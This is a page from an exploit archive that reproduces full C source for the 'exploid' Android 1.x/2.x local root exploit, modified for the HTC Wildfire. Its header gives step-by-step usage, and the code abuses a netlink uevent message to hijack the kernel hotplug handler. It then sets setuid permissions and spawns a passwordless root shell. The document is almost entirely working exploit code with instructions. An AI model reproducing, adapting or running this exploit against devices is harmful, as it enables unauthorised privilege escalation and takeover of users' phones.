ExploitFixes
Android 1.x/2.x HTC Wildfire Local Root Exploit 2011-02-02 15:15:11

/* android 1.x/2.x the real youdev feat. init local root exploit.
*
*
* Modifications to original exploit for HTC Wildfire Stage 1 soft-root (c) 2010 Martin Paul Eve
* Changes:
* -- Will not remount /system rw (NAND protection renders this pointless)
* -- Doesn't copy self, merely chmods permissions of original executable
* -- No password required for rootshell (designed to be immediately removed once su binary is in place)
*
* Revised usage instructions:
* -- Copy to /sqlite_stmt_journals/exploid and /sqlite_stmt_journals/su
* -- chmod exploid to 755
* -- Execute the binary
* -- Enable or disable a hotplug item (wifi, bluetooth etc. -- this could be done automatically by an app that packaged this exploit) -- don't worry that it segfaults
* -- Execute it again to gain rootshell
* -- Copy to device (/sqlite_stmt_journals/) + chown/chmod su to 04711
* -- Delete original exploid
* -- Use modified Superuser app with misplaced su binary
*
* Explanatory notes:
* -- This is designed to be used with a modified superuser app (not yet written) which will use the su binary in /sqlite_stmt_journals/
* -- It is important that you delete the original exploid binary because, otherwise, any application can gain root
*
* Original copyright/usage information
*
* (C) 2009/2010 by The Android Exploid Crew.
*
* Copy from sdcard to /sqlite_stmt_journals/exploid, chmod 0755 and run.
* Or use /data/local/tmp if available (thx to ioerror!) It is important to
* to use /sqlite_stmt_journals directory if available.
* Then try to invoke hotplug by clicking Settings->Wireless->{Airplane,WiFi etc}
* or use USB keys etc. This will invoke hotplug which is actually
* our exploit making /system/bin/rootshell.
* This exploit requires /etc/firmware directory, e.g. it will
* run on real devices and not inside the emulator.
* I'd like to have this exploitet by using the same blockdevice trick
* as in udev, but internal structures only allow world writable char
* devices, not block devices, so I used the firmware subsystem.
*
* !!!This is PoC code for educational purposes only!!!
* If you run it, it might crash your device and make it unusable!
* So you use it at your own risk!
*
* Thx to all the TAEC supporters.
*
*/
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <linux/netlink.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <signal.h>
#include <sys/mount.h>

void die(const char *msg)
{
perror(msg);
exit(errno);
}

void clear_hotplug()
{
int ofd = open("/proc/sys/kernel/hotplug", O_WRONLY|O_TRUNC);
write(ofd, "", 1);
close(ofd);
}

void rootshell(char **env)
{
char pwd[128];
char *sh[] = {"/system/bin/sh", 0};

setuid(0); setgid(0);
execve(*sh, sh, env);
die("[-] execve");
}


int main(int argc, char **argv, char **env)
{
char buf[512], path[512];
int ofd;
struct sockaddr_nl snl;
struct iovec iov = {buf, sizeof(buf)};
struct msghdr msg = {&snl, sizeof(snl), &iov, 1, NULL, 0, 0};
int sock;
char *basedir = NULL, *logmessage;


/* I hope there is no LD_ bug in androids rtld :) */
if (geteuid() == 0 && getuid() != 0)
rootshell(env);

if (readlink("/proc/self/exe", path, sizeof(path)) < 0)
die("[-] readlink");

if (geteuid() == 0) {
clear_hotplug();

chown(path, 0, 0);
chmod(path, 04711);

chown("/sqlite_stmt_journals/su", 0, 0);
chmod("/sqlite_stmt_journals/su", 06755);

return 0;
}

printf("[*] Android local root exploid (C) The Android Exploid Crew\n");
printf("[*] Modified by Martin Paul Eve for Wildfire Stage 1 soft-root\n");

basedir = "/sqlite_stmt_journals";
if (chdir(basedir) < 0) {
basedir = "/data/local/tmp";
if (chdir(basedir) < 0)
basedir = strdup(getcwd(buf, sizeof(buf)));
}
printf("[+] Using basedir=%s, path=%s\n", basedir, path);
printf("[+] opening NETLINK_KOBJECT_UEVENT socket\n");

memset(&snl, 0, sizeof(snl));
snl.nl_pid = 1;
snl.nl_family = AF_NETLINK;

if ((sock = socket(PF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT)) < 0)
die("[-] socket");

close(creat("loading", 0666));
if ((ofd = creat("hotplug", 0644)) < 0)
die("[-] creat");
if (write(ofd, path , strlen(path)) < 0)
die("[-] write");
close(ofd);
symlink("/proc/sys/kernel/hotplug", "data");
snprintf(buf, sizeof(buf), "ACTION=add%cDEVPATH=/..%s%c"
"SUBSYSTEM=firmware%c"
"FIRMWARE=../../..%s/hotplug%c", 0, basedir, 0, 0, basedir, 0);
printf("[+] sending add message ...\n");
if (sendmsg(sock, &msg, 0) < 0)
die("[-] sendmsg");
close(sock);
printf("[*] Try to invoke hotplug now, clicking at the wireless\n"
"[*] settings, plugin USB key etc.\n"
"[*] You succeeded if you find /system/bin/rootshell.\n"
"[*] GUI might hang/restart meanwhile so be patient.\n");
return 0;
}